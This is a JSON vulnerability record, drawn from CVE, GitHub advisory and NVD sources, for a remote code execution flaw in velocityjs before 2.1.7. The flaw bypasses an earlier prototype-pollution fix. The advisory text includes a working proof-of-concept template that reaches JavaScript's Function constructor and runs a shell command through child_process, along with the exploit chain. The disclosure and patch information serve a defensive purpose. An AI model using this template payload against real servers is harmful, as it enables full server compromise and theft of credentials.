{"id":"CVE-2026-73649","aliases":["CVE-2026-73649","GHSA-7gfh-x38p-prh3"],"related":[],"kind":"vulnerability","state":"published","title":"Velocity.js: Remote Code Execution via property-read to Function constructor (bypass of CVE-2026-44966 fix)","summary":"Velocity.js is a JavaScript implementation of the Apache Velocity template engine. Prior to 2.1.7, the earlier fix for CVE-2026-44966 filtered constructor, __proto__, and prototype only in the #set assignment handler in src/compile/set.ts, while property-read expressions in src/compile/references.ts remained unfiltered. The getReferences() flow called getAttributes(), whose property access allowed an attacker-controlled template to traverse constructor.constructor to the JavaScript Function constructor. The #set handler validated only the assignment target and did not inspect the right-hand property-read expression, allowing arbitrary shell commands, environment-variable access, cloud-credential access, and internal-network access in the server process. This issue is fixed in version 2.1.7.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Velocity.js is a JavaScript implementation of the Apache Velocity template engine. Prior to 2.1.7, the earlier fix for CVE-2026-44966 filtered constructor, __proto__, and prototype only in the #set assignment handler in src/compile/set.ts, while property-read expressions in src/compile/references.ts remained unfiltered. The getReferences() flow called getAttributes(), whose property access allowed an attacker-controlled template to traverse constructor.constructor to the JavaScript Function constructor. The #set handler validated only the assignment target and did not inspect the right-hand property-read expression, allowing arbitrary shell commands, environment-variable access, cloud-credential access, and internal-network access in the server process. This issue is fixed in version 2.1.7.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nRemote Code Execution (RCE) in velocityjs v2.1.6 via property-read to the Function constructor. This bypasses the fix for GHSA-j658-c2gf-x6pq (\"Prototype Pollution in #set path assignment\") — that advisory blocked constructor/__proto__/prototype only in the #set assignment handler (set.cjs), but property read expressions are unfiltered. Any application rendering attacker-controlled Velocity templates is vulnerable to arbitrary code execution on the server.\n\n### Details\n\nGHSA-j658-c2gf-x6pq added isBlockedPathKey() to dist/cjs/compile/set.cjs:35-43, which blocks __proto__, constructor, and prototype keys. However, this check only runs when the #set directive assigns a value — it validates the assignment target path, not the value expression being evaluated.\nThe value expression is evaluated via getReferences() in dist/cjs/compile/references.cjs:16, which calls getAttributes() at line 81. The property access at line 88-89 has no filtering:\n// references.cjs:81-91\ngetAttributes(property, baseRef, ast) {\n  if (property.type === \"property\") {\n    return baseRef[property.id];  // ← NO BLOCK on \"constructor\", \"prototype\", etc.\n  }\n  ...\n}\nMeanwhile, set.cjs:35-43 properly blocks these keys, but only for the #set target:\n// set.cjs:35-43\nisBlockedPathKey(baseRef, key, isEnd) {\n  if (key === PROTO_KEY) return true;          // \"__proto__\"\n  if (key === \"prototype\" && typeof baseRef === \"function\") return true;\n  return !isEnd && PROTOTYPE_CHAIN_KEYS.has(key) && !hasOwnProperty(baseRef, key);\n}\nThe exploit chain:\n1. $x.constructor → getAttributes() → {}[\"constructor\"] → Object\n2. .constructor → getAttributes() → Object[\"constructor\"] → Function\n3. (\"return process.mainModule.require('child_process').execSync('whoami')\") → calls Function(...) → creates a function\n4. The #set assigns the result to $f, which is then rendered as $r\nThe #set handler validates $f as the assignment target (which passes — f is not blocked), but never inspects the right-hand expression for prototype chain traversal.\n\n### PoC\n\nconst velocity = require('velocityjs');\n\nconst template = \"#set($f=$x.constructor.constructor(\\\"return process.mainModule.require('child_process').execSync('whoami').toString()\\\"))#set($r=$f())$r\";\n\nconsole.log(velocity.render(template, { x: {} }));\n// Output: <current OS username>\nVerified on velocityjs v2.1.6, Node.js v24.15.0, Windows.\n\n### Impact\n\nType: Remote Code Execution (RCE)\n\nAny application that renders attacker-controlled Velocity templates using velocityjs is vulnerable to full server compromise. The attacker can execute arbitrary shell commands, read environment variables, access cloud credentials, and pivot to internal network resources.\nThe existing advisory GHSA-j658-c2gf-x6pq established the threat model: \"any app rendering attacker-controlled templates.\" This finding demonstrates that the fix was incomplete — the #set blocking was added but property read expressions remain unfiltered, making the issue strictly worse (RCE vs prototype pollution).\n\n### Patches\n\nFixed in [velocityjs 2.1.7](https://www.npmjs.com/package/velocityjs/v/2.1.7). The fix was merged in [pull request #192](https://github.com/shepherdwind/velocity.js/pull/192) and released as [v2.1.7](https://github.com/shepherdwind/velocity.js/releases/tag/v2.1.7). Users should upgrade to version 2.1.7 or later.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Velocity.js es una implementación de JavaScript del motor de plantillas Apache Velocity. Antes de la versión 2.1.7, la corrección anterior para CVE-2026-44966 filtraba constructor, __proto__ y prototype solo en el gestor de asignación #set en src/compile/set.ts, mientras que las expresiones de lectura de propiedades en src/compile/references.ts permanecían sin filtrar. El flujo de getReferences() llamaba a getAttributes(), cuyo acceso a propiedades permitía que una plantilla controlada por el atacante atravesara constructor.constructor hasta el constructor de funciones de JavaScript. El gestor #set validaba solo el objetivo de la asignación y no inspeccionaba la expresión de lectura de propiedades del lado derecho, permitiendo comandos de shell arbitrarios, acceso a variables de entorno, acceso a credenciales de la nube y acceso a la red interna en el proceso del servidor. Este problema está corregido en la versión 2.1.7.","source":"nvd"}],"published":"2026-07-24T16:21:22.000Z","modified":"2026-10-24T15:10:00.190Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 2.1.7","status":"affected"}],"vendor":"shepherdwind","product":"velocity.js","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.1.7"}],"ecosystem":"npm","package":"velocityjs","purl":"pkg:npm/velocityjs","source":"ghsa"}],"references":[{"url":"https://github.com/shepherdwind/velocity.js/security/advisories/GHSA-7gfh-x38p-prh3","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/shepherdwind/velocity.js/pull/192","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/shepherdwind/velocity.js/commit/f8e47a6c4607249b9c967d3a1ced959b4dd64dba","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/shepherdwind/velocity.js/releases/tag/v2.1.7","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/shepherdwind/velocity.js","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-08-14T16:42:05.530Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-73649","url":"https://www.cve.org/CVERecord?id=CVE-2026-73649","licence":"CVE Terms of Use","modified":"2026-08-14T16:42:31.371Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7gfh-x38p-prh3","url":"https://github.com/advisories/GHSA-7gfh-x38p-prh3","licence":"CC-BY-4.0","modified":"2026-08-13T18:51:15.840Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-73649","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73649","licence":"Public domain","modified":"2026-10-24T15:10:00.190Z"}],"updatedAt":"2026-11-25T22:59:32.821Z","epss":{"score":0.00636,"percentile":0.51797,"date":"2026-12-01T12:00:22.000Z"}}